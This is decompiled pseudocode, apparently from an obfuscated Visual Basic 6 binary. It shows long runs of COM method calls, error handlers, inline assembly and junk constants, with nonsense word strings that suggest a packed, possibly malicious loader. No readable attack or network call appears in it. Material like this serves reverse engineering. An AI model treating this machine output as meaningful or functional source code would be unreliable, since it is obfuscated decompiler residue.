				_t1170 =  *((intOrPtr*)( *_v312 + 0xf8))(_v312,  &_v136, _t1166,  *((intOrPtr*)( *((intOrPtr*)( *_v448)) + 0x2fc))( *_v448));
				asm("fclex");
				_v316 = _t1170;
				if(_v316 >= 0) {
					_v452 = _v452 & 0x00000000;
				} else {
					_push(0xf8);
					_push(0x403ac4);
					_push(_v312);
					_push(_v316);
					L0040145A();
					_v452 = _t1170;
				}
				_push(0);
				_push(0);
				_push(_v136);
				_push( &_v176);
				L00401424();
				_t1763 = _t1762 + 0x10;
				if( *0x413010 != 0) {
					_v456 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v456 = 0x413010;
				}
				_t1175 =  &_v140;
				L00401430();
				_v320 = _t1175;
				_t1179 =  *((intOrPtr*)( *_v320 + 0x158))(_v320,  &_v120, _t1175,  *((intOrPtr*)( *((intOrPtr*)( *_v456)) + 0x30c))( *_v456));
				asm("fclex");
				_v324 = _t1179;
				if(_v324 >= 0) {
					_v460 = _v460 & 0x00000000;
				} else {
					_push(0x158);
					_push(0x403ac4);
					_push(_v320);
					_push(_v324);
					L0040145A();
					_v460 = _t1179;
				}
				if( *0x413010 != 0) {
					_v464 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v464 = 0x413010;
				}
				_t1183 =  &_v144;
				L00401430();
				_v328 = _t1183;
				_t1187 =  *((intOrPtr*)( *_v328 + 0x160))(_v328,  &_v148, _t1183,  *((intOrPtr*)( *((intOrPtr*)( *_v464)) + 0x300))( *_v464));
				asm("fclex");
				_v332 = _t1187;
				if(_v332 >= 0) {
					_v468 = _v468 & 0x00000000;
				} else {
					_push(0x160);
					_push(0x403ac4);
					_push(_v328);
					_push(_v332);
					L0040145A();
					_v468 = _t1187;
				}
				_push(0);
				_push(0);
				_push(_v148);
				_push( &_v208);
				L00401424();
				_t1764 = _t1763 + 0x10;
				if( *0x413010 != 0) {
					_v472 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v472 = 0x413010;
				}
				_t1192 =  &_v152;
				L00401430();
				_v336 = _t1192;
				_t1196 =  *((intOrPtr*)( *_v336 + 0x158))(_v336,  &_v124, _t1192,  *((intOrPtr*)( *((intOrPtr*)( *_v472)) + 0x304))( *_v472));
				asm("fclex");
				_v340 = _t1196;
				if(_v340 >= 0) {
					_v476 = _v476 & 0x00000000;
				} else {
					_push(0x158);
					_push(0x403ac4);
					_push(_v336);
					_push(_v340);
					L0040145A();
					_v476 = _t1196;
				}
				if( *0x413010 != 0) {
					_v480 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v480 = 0x413010;
				}
				_t1200 =  &_v156;
				L00401430();
				_v344 = _t1200;
				_t1204 =  *((intOrPtr*)( *_v344 + 0x80))(_v344,  &_v276, _t1200,  *((intOrPtr*)( *((intOrPtr*)( *_v480)) + 0x308))( *_v480));
				asm("fclex");
				_v348 = _t1204;
				if(_v348 >= 0) {
					_v484 = _v484 & 0x00000000;
				} else {
					_push(0x80);
					_push(0x403ac4);
					_push(_v344);
					_push(_v348);
					L0040145A();
					_v484 = _t1204;
				}
				_v292 = _v276;
				_v288 = 0x84ac3;
				_v388 = _v124;
				_v124 = _v124 & 0x00000000;
				L0040141E();
				_t1206 =  &_v208;
				L004013FA();
				_v284 = _t1206;
				_v392 = _v120;
				_v120 = _v120 & 0x00000000;
				_v184 = _v392;
				_v192 = 8;
				_t1209 =  &_v176;
				L004013FA();
				_v280 = _t1209;
				_v216 = L"Tilsjoflingerne9";
				_v224 = 8;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1219 =  *((intOrPtr*)( *_a4 + 0x6fc))(_a4, 0x703af6, 0x56b32da0, 0x5b04, 0x10,  &_v280,  &_v192,  &_v284,  &_v128,  &_v288,  &_v292, _t1209, _t1206);
				_v352 = _t1219;
				if(_v352 >= 0) {
					_v488 = _v488 & 0x00000000;
				} else {
					_push(0x6fc);
					_push(0x403918);
					_push(_a4);
					_push(_v352);
					L0040145A();
					_v488 = _t1219;
				}
				L0040140C();
				_push( &_v148);
				_push( &_v136);
				_push( &_v156);
				_push( &_v152);
				_push( &_v144);
				_push( &_v140);
				_push( &_v132);
				_push(7);
				L00401406();
				_push( &_v208);
				_push( &_v192);
				_push( &_v176);
				_push(3);
				L00401400();
				_t1766 = _t1764 + 0x30;
				_v8 = 9;
				if( *0x413010 != 0) {
					_v492 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v492 = 0x413010;
				}
				_t1233 =  &_v132;
				L00401430();
				_v312 = _t1233;
				_t1237 =  *((intOrPtr*)( *_v312 + 0x60))(_v312,  &_v276, _t1233,  *((intOrPtr*)( *((intOrPtr*)( *_v492)) + 0x308))( *_v492));
				asm("fclex");
				_v316 = _t1237;
				if(_v316 >= 0) {
					_v496 = _v496 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x403ac4);
					_push(_v312);
					_push(_v316);
					L0040145A();
					_v496 = _t1237;
				}
				if( *0x413010 != 0) {
					_v500 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v500 = 0x413010;
				}
				_t1241 =  &_v136;
				L00401430();
				_v320 = _t1241;
				_t1245 =  *((intOrPtr*)( *_v320 + 0x60))(_v320,  &_v280, _t1241,  *((intOrPtr*)( *((intOrPtr*)( *_v500)) + 0x308))( *_v500));
				asm("fclex");
				_v324 = _t1245;
				if(_v324 >= 0) {
					_v504 = _v504 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x403ac4);
					_push(_v320);
					_push(_v324);
					L0040145A();
					_v504 = _t1245;
				}
				if( *0x413010 != 0) {
					_v508 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v508 = 0x413010;
				}
				_t1249 =  &_v140;
				L00401430();
				_v328 = _t1249;
				_t1253 =  *((intOrPtr*)( *_v328 + 0x138))(_v328,  &_v284, _t1249,  *((intOrPtr*)( *((intOrPtr*)( *_v508)) + 0x300))( *_v508));
				asm("fclex");
				_v332 = _t1253;
				if(_v332 >= 0) {
					_v512 = _v512 & 0x00000000;
				} else {
					_push(0x138);
					_push(0x403ac4);
					_push(_v328);
					_push(_v332);
					L0040145A();
					_v512 = _t1253;
				}
				if( *0x413010 != 0) {
					_v516 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v516 = 0x413010;
				}
				_t1257 =  &_v144;
				L00401430();
				_v336 = _t1257;
				_t1261 =  *((intOrPtr*)( *_v336 + 0x130))(_v336,  &_v148, _t1257,  *((intOrPtr*)( *((intOrPtr*)( *_v516)) + 0x300))( *_v516));
				asm("fclex");
				_v340 = _t1261;
				if(_v340 >= 0) {
					_v520 = _v520 & 0x00000000;
				} else {
					_push(0x130);
					_push(0x403ac4);
					_push(_v336);
					_push(_v340);
					L0040145A();
					_v520 = _t1261;
				}
				_push(0);
				_push(0);
				_push(_v148);
				_push( &_v192);
				L00401424();
				_t1767 = _t1766 + 0x10;
				if( *0x413010 != 0) {
					_v524 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v524 = 0x413010;
				}
				_t1266 =  &_v152;
				L00401430();
				_v344 = _t1266;
				_t1270 =  *((intOrPtr*)( *_v344 + 0x118))(_v344,  &_v288, _t1266,  *((intOrPtr*)( *((intOrPtr*)( *_v524)) + 0x30c))( *_v524));
				asm("fclex");
				_v348 = _t1270;
				if(_v348 >= 0) {
					_v528 = _v528 & 0x00000000;
				} else {
					_push(0x118);
					_push(0x403ac4);
					_push(_v344);
					_push(_v348);
					L0040145A();
					_v528 = _t1270;
				}
				if( *0x413010 != 0) {
					_v532 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v532 = 0x413010;
				}
				_t1274 =  &_v156;
				L00401430();
				_v352 = _t1274;
				_t1278 =  *((intOrPtr*)( *_v352 + 0x178))(_v352,  &_v260, _t1274,  *((intOrPtr*)( *((intOrPtr*)( *_v532)) + 0x30c))( *_v532));
				asm("fclex");
				_v356 = _t1278;
				if(_v356 >= 0) {
					_v536 = _v536 & 0x00000000;
				} else {
					_push(0x178);
					_push(0x403ac4);
					_push(_v352);
					_push(_v356);
					L0040145A();
					_v536 = _t1278;
				}
				_v200 = _v288;
				_v208 = 3;
				_v168 = _v284;
				_v176 = 3;
				_v216 = 0x2248ba;
				_v224 = 3;
				_v300 = 0x4edcc010;
				_v296 = 0x5af4;
				_t1283 =  &_v192;
				L00401418();
				L0040141E();
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1289 =  *((intOrPtr*)( *_a4 + 0x700))(_a4,  &_v300, _v276, _v280, 0x10,  &_v176, _t1283, _t1283,  &_v208, _v260,  &_v264);
				_v360 = _t1289;
				if(_v360 >= 0) {
					_v540 = _v540 & 0x00000000;
				} else {
					_push(0x700);
					_push(0x403918);
					_push(_a4);
					_push(_v360);
					L0040145A();
					_v540 = _t1289;
				}
				_v92 = _v264;
				L0040140C();
				L00401406();
				L00401400();
				_t1769 = _t1767 + 0x30;
				_v8 = 0xa;
				_t1304 =  *((intOrPtr*)( *_a4 + 0x704))(_a4,  &_v276, 3,  &_v176,  &_v192,  &_v208, 7,  &_v132,  &_v136,  &_v140,  &_v144,  &_v152,  &_v156,  &_v148);
				_v312 = _t1304;
				if(_v312 >= 0) {
					_v544 = _v544 & 0x00000000;
				} else {
					_push(0x704);
					_push(0x403918);
					_push(_a4);
					_push(_v312);
					L0040145A();
					_v544 = _t1304;
				}
				_v64 = _v276;
				_v8 = 0xb;
				if( *0x413010 != 0) {
					_v548 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v548 = 0x413010;
				}
				_t1309 =  &_v132;
				L00401430();
				_v312 = _t1309;
				_t1313 =  *((intOrPtr*)( *_v312 + 0x188))(_v312,  &_v276, _t1309,  *((intOrPtr*)( *((intOrPtr*)( *_v548)) + 0x30c))( *_v548));
				asm("fclex");
				_v316 = _t1313;
				if(_v316 >= 0) {
					_v552 = _v552 & 0x00000000;
				} else {
					_push(0x188);
					_push(0x403ac4);
					_push(_v312);
					_push(_v316);
					L0040145A();
					_v552 = _t1313;
				}
				if( *0x413010 != 0) {
					_v556 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v556 = 0x413010;
				}
				_t1317 =  &_v136;
				L00401430();
				_v320 = _t1317;
				_t1321 =  *((intOrPtr*)( *_v320 + 0x140))(_v320,  &_v260, _t1317,  *((intOrPtr*)( *((intOrPtr*)( *_v556)) + 0x30c))( *_v556));
				asm("fclex");
				_v324 = _t1321;
				if(_v324 >= 0) {
					_v560 = _v560 & 0x00000000;
				} else {
					_push(0x140);
					_push(0x403ac4);
					_push(_v320);
					_push(_v324);
					L0040145A();
					_v560 = _t1321;
				}
				if( *0x413010 != 0) {
					_v564 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v564 = 0x413010;
				}
				_t1325 =  &_v140;
				L00401430();
				_v328 = _t1325;
				_t1329 =  *((intOrPtr*)( *_v328 + 0x50))(_v328,  &_v120, _t1325,  *((intOrPtr*)( *((intOrPtr*)( *_v564)) + 0x308))( *_v564));
				asm("fclex");
				_v332 = _t1329;
				if(_v332 >= 0) {
					_v568 = _v568 & 0x00000000;
				} else {
					_push(0x50);
					_push(0x403ac4);
					_push(_v328);
					_push(_v332);
					L0040145A();
					_v568 = _t1329;
				}
				_v396 = _v120;
				_v120 = _v120 & 0x00000000;
				_v168 = _v396;
				_v176 = 8;
				_v264 = _v260;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1337 =  *((intOrPtr*)( *_a4 + 0x708))(_a4, _v276,  &_v264, 0x10);
				_v336 = _t1337;
				if(_v336 >= 0) {
					_v572 = _v572 & 0x00000000;
				} else {
					_push(0x708);
					_push(0x403918);
					_push(_a4);
					_push(_v336);
					L0040145A();
					_v572 = _t1337;
				}
				_push( &_v140);
				_push( &_v136);
				_push( &_v132);
				_push(3);
				L00401406();
				_t1770 = _t1769 + 0x10;
				L0040143C();
				_v8 = 0xc;
				if( *0x413010 != 0) {
					_v576 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v576 = 0x413010;
				}
				_t1344 =  &_v132;
				L00401430();
				_v312 = _t1344;
				_t1348 =  *((intOrPtr*)( *_v312 + 0x188))(_v312,  &_v276, _t1344,  *((intOrPtr*)( *((intOrPtr*)( *_v576)) + 0x30c))( *_v576));
				asm("fclex");
				_v316 = _t1348;
				if(_v316 >= 0) {
					_v580 = _v580 & 0x00000000;
				} else {
					_push(0x188);
					_push(0x403ac4);
					_push(_v312);
					_push(_v316);
					L0040145A();
					_v580 = _t1348;
				}
				if( *0x413010 != 0) {
					_v584 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v584 = 0x413010;
				}
				_t1352 =  &_v136;
				L00401430();
				_v320 = _t1352;
				_t1356 =  *((intOrPtr*)( *_v320 + 0x48))(_v320,  &_v120, _t1352,  *((intOrPtr*)( *((intOrPtr*)( *_v584)) + 0x308))( *_v584));
				asm("fclex");
				_v324 = _t1356;
				if(_v324 >= 0) {
					_v588 = _v588 & 0x00000000;
				} else {
					_push(0x48);
					_push(0x403ac4);
					_push(_v320);
					_push(_v324);
					L0040145A();
					_v588 = _t1356;
				}
				if( *0x413010 != 0) {
					_v592 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v592 = 0x413010;
				}
				_t1360 =  &_v140;
				L00401430();
				_v328 = _t1360;
				_t1364 =  *((intOrPtr*)( *_v328 + 0x68))(_v328,  &_v280, _t1360,  *((intOrPtr*)( *((intOrPtr*)( *_v592)) + 0x308))( *_v592));
				asm("fclex");
				_v332 = _t1364;
				if(_v332 >= 0) {
					_v596 = _v596 & 0x00000000;
				} else {
					_push(0x68);
					_push(0x403ac4);
					_push(_v328);
					_push(_v332);
					L0040145A();
					_v596 = _t1364;
				}
				if( *0x413010 != 0) {
					_v600 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v600 = 0x413010;
				}
				_t1368 =  &_v144;
				L00401430();
				_v336 = _t1368;
				_t1372 =  *((intOrPtr*)( *_v336 + 0x130))(_v336,  &_v148, _t1368,  *((intOrPtr*)( *((intOrPtr*)( *_v600)) + 0x30c))( *_v600));
				asm("fclex");
				_v340 = _t1372;
				if(_v340 >= 0) {
					_v604 = _v604 & 0x00000000;
				} else {
					_push(0x130);
					_push(0x403ac4);
					_push(_v336);
					_push(_v340);
					L0040145A();
					_v604 = _t1372;
				}
				if( *0x413010 != 0) {
					_v608 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v608 = 0x413010;
				}
				_t1671 =  *((intOrPtr*)( *_v608));
				_t1376 =  &_v152;
				L00401430();
				_v344 = _t1376;
				_t1380 =  *((intOrPtr*)( *_v344 + 0x108))(_v344,  &_v124, _t1376,  *((intOrPtr*)(_t1671 + 0x304))( *_v608));
				asm("fclex");
				_v348 = _t1380;
				if(_v348 >= 0) {
					_v612 = _v612 & 0x00000000;
				} else {
					_push(0x108);
					_push(0x403ac4);
					_push(_v344);
					_push(_v348);
					L0040145A();
					_v612 = _t1380;
				}
				_v400 = _v124;
				_v124 = _v124 & 0x00000000;
				_v184 = _v400;
				_v192 = 8;
				_v404 = _v148;
				_v148 = _v148 & 0x00000000;
				_v168 = _v404;
				_v176 = 9;
				_v288 = 0x24158f;
				_v284 = _v276;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v728 =  *0x4011d8;
				_t1393 =  *((intOrPtr*)( *_a4 + 0x70c))(_a4,  &_v284, _v120, _t1671, _t1671, _v280,  &_v288, 0x10,  &_v192, 0xf0230230, 0x5afa,  &_v208);
				_v352 = _t1393;
				if(_v352 >= 0) {
					_v616 = _v616 & 0x00000000;
				} else {
					_push(0x70c);
					_push(0x403918);
					_push(_a4);
					_push(_v352);
					L0040145A();
					_v616 = _t1393;
				}
				L004013F4();
				L0040140C();
				L00401406();
				L00401400();
				_t1772 = _t1770 + 0x24;
				_v8 = 0xd;
				L004013EE();
				 *((intOrPtr*)( *_a4 + 0x72c))(_a4, 0x78e34920, 0x5b07, 0x7329fe,  &_v120,  &_v300, 2,  &_v176,  &_v192, 5,  &_v132,  &_v136,  &_v140,  &_v144,  &_v152);
				_v60 = _v300;
				L0040140C();
				_v8 = 0xe;
				if( *0x413010 != 0) {
					_v620 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v620 = 0x413010;
				}
				_t1409 =  &_v132;
				L00401430();
				_v312 = _t1409;
				_t1413 =  *((intOrPtr*)( *_v312 + 0xf8))(_v312,  &_v136, _t1409,  *((intOrPtr*)( *((intOrPtr*)( *_v620)) + 0x2fc))( *_v620));
				asm("fclex");
				_v316 = _t1413;
				if(_v316 >= 0) {
					_v624 = _v624 & 0x00000000;
				} else {
					_push(0xf8);
					_push(0x403ac4);
					_push(_v312);
					_push(_v316);
					L0040145A();
					_v624 = _t1413;
				}
				_push(0);
				_push(0);
				_push(_v136);
				_push( &_v176);
				L00401424();
				_t1773 = _t1772 + 0x10;
				if( *0x413010 != 0) {
					_v628 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v628 = 0x413010;
				}
				_t1418 =  &_v140;
				L00401430();
				_v320 = _t1418;
				_t1422 =  *((intOrPtr*)( *_v320 + 0x118))(_v320,  &_v276, _t1418,  *((intOrPtr*)( *((intOrPtr*)( *_v628)) + 0x2fc))( *_v628));
				asm("fclex");
				_v324 = _t1422;
				if(_v324 >= 0) {
					_v632 = _v632 & 0x00000000;
				} else {
					_push(0x118);
					_push(0x403ac4);
					_push(_v320);
					_push(_v324);
					L0040145A();
					_v632 = _t1422;
				}
				if( *0x413010 != 0) {
					_v636 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v636 = 0x413010;
				}
				_t1426 =  &_v144;
				L00401430();
				_v328 = _t1426;
				_t1430 =  *((intOrPtr*)( *_v328 + 0x140))(_v328,  &_v260, _t1426,  *((intOrPtr*)( *((intOrPtr*)( *_v636)) + 0x30c))( *_v636));
				asm("fclex");
				_v332 = _t1430;
				if(_v332 >= 0) {
					_v640 = _v640 & 0x00000000;
				} else {
					_push(0x140);
					_push(0x403ac4);
					_push(_v328);
					_push(_v332);
					L0040145A();
					_v640 = _t1430;
				}
				if( *0x413010 != 0) {
					_v644 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v644 = 0x413010;
				}
				_t1434 =  &_v148;
				L00401430();
				_v336 = _t1434;
				_t1438 =  *((intOrPtr*)( *_v336 + 0x68))(_v336,  &_v280, _t1434,  *((intOrPtr*)( *((intOrPtr*)( *_v644)) + 0x304))( *_v644));
				asm("fclex");
				_v340 = _t1438;
				if(_v340 >= 0) {
					_v648 = _v648 & 0x00000000;
				} else {
					_push(0x68);
					_push(0x403ac4);
					_push(_v336);
					_push(_v340);
					L0040145A();
					_v648 = _t1438;
				}
				if( *0x413010 != 0) {
					_v652 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v652 = 0x413010;
				}
				_t1442 =  &_v152;
				L00401430();
				_v344 = _t1442;
				_t1446 =  *((intOrPtr*)( *_v344 + 0xf8))(_v344,  &_v156, _t1442,  *((intOrPtr*)( *((intOrPtr*)( *_v652)) + 0x2fc))( *_v652));
				asm("fclex");
				_v348 = _t1446;
				if(_v348 >= 0) {
					_v656 = _v656 & 0x00000000;
				} else {
					_push(0xf8);
					_push(0x403ac4);
					_push(_v344);
					_push(_v348);
					L0040145A();
					_v656 = _t1446;
				}
				_push(0);
				_push(0);
				_push(_v156);
				_push( &_v192);
				L00401424();
				_t1774 = _t1773 + 0x10;
				if( *0x413010 != 0) {
					_v660 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v660 = 0x413010;
				}
				_t1451 =  &_v160;
				L00401430();
				_v352 = _t1451;
				_t1455 =  *((intOrPtr*)( *_v352 + 0xa0))(_v352,  &_v264, _t1451,  *((intOrPtr*)( *((intOrPtr*)( *_v660)) + 0x308))( *_v660));
				asm("fclex");
				_v356 = _t1455;
				if(_v356 >= 0) {
					_v664 = _v664 & 0x00000000;
				} else {
					_push(0xa0);
					_push(0x403ac4);
					_push(_v352);
					_push(_v356);
					L0040145A();
					_v664 = _t1455;
				}
				L004013EE();
				_v268 = _v260;
				_v288 = _v276;
				_t1458 =  &_v176;
				L004013FA();
				_v284 = _t1458;
				_t1460 =  &_v192;
				L004013FA();
				 *((intOrPtr*)( *_a4 + 0x730))(_a4, 0x361c8d,  &_v284, 0x90f51c30, 0x5af5,  &_v288,  &_v268,  &_v120, L"adkomsthavers", _v280, _t1460, _t1460, _v264,  &_v208, _t1458);
				L004013F4();
				L0040140C();
				_push( &_v156);
				_push( &_v136);
				_push( &_v160);
				_push( &_v152);
				_push( &_v148);
				_push( &_v144);
				_push( &_v140);
				_push( &_v132);
				_push(8);
				L00401406();
				_push( &_v192);
				_push( &_v176);
				_push(2);
				L00401400();
				_t1776 = _t1774 + 0x30;
				_v8 = 0xf;
				if( *0x413010 != 0) {
					_v668 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v668 = 0x413010;
				}
				_t1481 =  &_v132;
				L00401430();
				_v312 = _t1481;
				_t1485 =  *((intOrPtr*)( *_v312 + 0xa0))(_v312,  &_v260, _t1481,  *((intOrPtr*)( *((intOrPtr*)( *_v668)) + 0x2fc))( *_v668));
				asm("fclex");
				_v316 = _t1485;
				if(_v316 >= 0) {
					_v672 = _v672 & 0x00000000;
				} else {
					_push(0xa0);
					_push(0x403ac4);
					_push(_v312);
					_push(_v316);
					L0040145A();
					_v672 = _t1485;
				}
				if( *0x413010 != 0) {
					_v676 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v676 = 0x413010;
				}
				_t1489 =  &_v136;
				L00401430();
				_v320 = _t1489;
				_t1493 =  *((intOrPtr*)( *_v320 + 0xf8))(_v320,  &_v140, _t1489,  *((intOrPtr*)( *((intOrPtr*)( *_v676)) + 0x30c))( *_v676));
				asm("fclex");
				_v324 = _t1493;
				if(_v324 >= 0) {
					_v680 = _v680 & 0x00000000;
				} else {
					_push(0xf8);
					_push(0x403ac4);
					_push(_v320);
					_push(_v324);
					L0040145A();
					_v680 = _t1493;
				}
				if( *0x413010 != 0) {
					_v684 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v684 = 0x413010;
				}
				_t1497 =  &_v144;
				L00401430();
				_v328 = _t1497;
				_t1501 =  *((intOrPtr*)( *_v328 + 0x78))(_v328,  &_v276, _t1497,  *((intOrPtr*)( *((intOrPtr*)( *_v684)) + 0x308))( *_v684));
				asm("fclex");
				_v332 = _t1501;
				if(_v332 >= 0) {
					_v688 = _v688 & 0x00000000;
				} else {
					_push(0x78);
					_push(0x403ac4);
					_push(_v328);
					_push(_v332);
					L0040145A();
					_v688 = _t1501;
				}
				_v300 =  *0x4011d0;
				_v248 = 0x358644;
				_v256 = 3;
				_v280 = _v276;
				_v408 = _v140;
				_v140 = _v140 & 0x00000000;
				_v168 = _v408;
				_v176 = 9;
				_v264 = _v260;
				_v232 = 0x68c4b;
				_v240 = 3;
				_v216 = 0x3e5b6f;
				_v224 = 3;
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004012E0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1515 =  *((intOrPtr*)( *_a4 + 0x710))(_a4, 0x10, 0x10,  &_v264,  &_v176, 0x7c207e50, 0x5afd,  &_v280, 0x10,  &_v300,  &_v308);
				_v336 = _t1515;
				if(_v336 >= 0) {
					_v692 = _v692 & 0x00000000;
				} else {
					_push(0x710);
					_push(0x403918);
					_push(_a4);
					_push(_v336);
					L0040145A();
					_v692 = _t1515;
				}
				_v52 = _v308;
				_v48 = _v304;
				_push( &_v144);
				_push( &_v136);
				_push( &_v132);
				_push(3);
				L00401406();
				_t1777 = _t1776 + 0x10;
				L0040143C();
				_v8 = 0x10;
				if( *0x413010 != 0) {
					_v696 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v696 = 0x413010;
				}
				_t1524 =  &_v132;
				L00401430();
				_v312 = _t1524;
				_t1528 =  *((intOrPtr*)( *_v312 + 0x178))(_v312,  &_v260, _t1524,  *((intOrPtr*)( *((intOrPtr*)( *_v696)) + 0x308))( *_v696));
				asm("fclex");
				_v316 = _t1528;
				if(_v316 >= 0) {
					_v700 = _v700 & 0x00000000;
				} else {
					_push(0x178);
					_push(0x403ac4);
					_push(_v312);
					_push(_v316);
					L0040145A();
					_v700 = _t1528;
				}
				if( *0x413010 != 0) {
					_v704 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v704 = 0x413010;
				}
				_t1712 =  *((intOrPtr*)( *_v704));
				_t1532 =  &_v136;
				L00401430();
				_v320 = _t1532;
				_t1536 =  *((intOrPtr*)( *_v320 + 0x118))(_v320,  &_v276, _t1532,  *((intOrPtr*)(_t1712 + 0x30c))( *_v704));
				asm("fclex");
				_v324 = _t1536;
				if(_v324 >= 0) {
					_v708 = _v708 & 0x00000000;
				} else {
					_push(0x118);
					_push(0x403ac4);
					_push(_v320);
					_push(_v324);
					L0040145A();
					_v708 = _t1536;
				}
				_v268 = 0x5633;
				_v264 = 0x44d0;
				_v168 = 0x48a00a;
				_v176 = 3;
				 *_t1777 =  *0x4011c8;
				_t1543 =  *((intOrPtr*)( *_a4 + 0x714))(_a4,  &_v176, _t1712, _t1712,  &_v264, _v260,  &_v268, _v276,  &_v272);
				_v328 = _t1543;
				if(_v328 >= 0) {
					_v712 = _v712 & 0x00000000;
				} else {
					_push(0x714);
					_push(0x403918);
					_push(_a4);
					_push(_v328);
					L0040145A();
					_v712 = _t1543;
				}
				_v44 = _v272;
				_push( &_v136);
				_push( &_v132);
				_push(2);
				L00401406();
				_t1778 = _t1777 + 0xc;
				L0040143C();
				_v8 = 0x11;
				if( *0x413010 != 0) {
					_v716 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v716 = 0x413010;
				}
				_t1550 =  &_v132;
				L00401430();
				_v312 = _t1550;
				_t1554 =  *((intOrPtr*)( *_v312 + 0x78))(_v312,  &_v276, _t1550,  *((intOrPtr*)( *((intOrPtr*)( *_v716)) + 0x300))( *_v716));
				asm("fclex");
				_v316 = _t1554;
				if(_v316 >= 0) {
					_v720 = _v720 & 0x00000000;
				} else {
					_push(0x78);
					_push(0x403ac4);
					_push(_v312);
					_push(_v316);
					L0040145A();
					_v720 = _t1554;
				}
				if( *0x413010 != 0) {
					_v724 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x402b8c);
					L0040142A();
					_v724 = 0x413010;
				}
				_t1558 =  &_v136;
				L00401430();
				_v320 = _t1558;
				_t1562 =  *((intOrPtr*)( *_v320 + 0x60))(_v320,  &_v280, _t1558,  *((intOrPtr*)( *((intOrPtr*)( *_v724)) + 0x30c))( *_v724));
				asm("fclex");
				_v324 = _t1562;
				if(_v324 >= 0) {
					_v728 = _v728 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x403ac4);
					_push(_v320);
					_push(_v324);
					L0040145A();
					_v728 = _t1562;
				}
				_v292 = _v280;
				_v288 = 0x855264;
				_v284 = _v276;
				_t1720 =  &_v120;
				L004013EE();
				 *_t1778 =  *0x4011c0;
				_t1570 =  *((intOrPtr*)( *_a4 + 0x718))(_a4, _t1720, _t1720,  &_v120,  &_v284,  &_v288, 0x9ec81,  &_v292);
				_v328 = _t1570;
				if(_v328 >= 0) {
					_v732 = _v732 & 0x00000000;
				} else {
					_push(0x718);
					_push(0x403918);
					_push(_a4);
					_push(_v328);
					L0040145A();
					_v732 = _t1570;
				}
				L0040140C();
				L00401406();
				_v8 = 0x12;
				L004013E8();
				_v8 = 0x13;
				_t1575 =  *((intOrPtr*)( *_a4 + 0x2b4))(_a4, 0xffffffff, 2,  &_v132,  &_v136);
				asm("fclex");
				_v312 = _t1575;
				if(_v312 >= 0) {
					_v736 = _v736 & 0x00000000;
				} else {
					_push(0x2b4);
					_push(0x4038e8);
					_push(_a4);
					_push(_v312);
					L0040145A();
					_v736 = _t1575;
				}
				while(1) {
					_v8 = 0x15;
					_v40 = _v40 + 1;
					_v8 = 0x16;
					if(_v40 > 1) {
						break;
					}
				}
				_v8 = 0x1a;
				E00411BBE();
				_v8 = 0x1b;
				_v40 = 2;
				_v8 = 0x1c;
				_v96 = 0x808344;
				_v8 = 0x1d;
				asm("cdq");
				_t1583 =  *((intOrPtr*)( *_a4 + 0x71c))(_a4, _v96 / _v40);
				_v20 = 0;
				asm("wait");
				_push(0x410e74);
				L0040143C();
				L0040143C();
				return _t1583;
			}

0x0040e7ad
0x0040e7bc
0x0040e7c8
0x0040e7d0
0x0040e7d3
0x0040e7e0
0x0040e7e9
0x0040e7ec
0x0040e7fb
0x0040e7fe
0x0040e805
0x0040e812
0x0040e813
0x0040e818
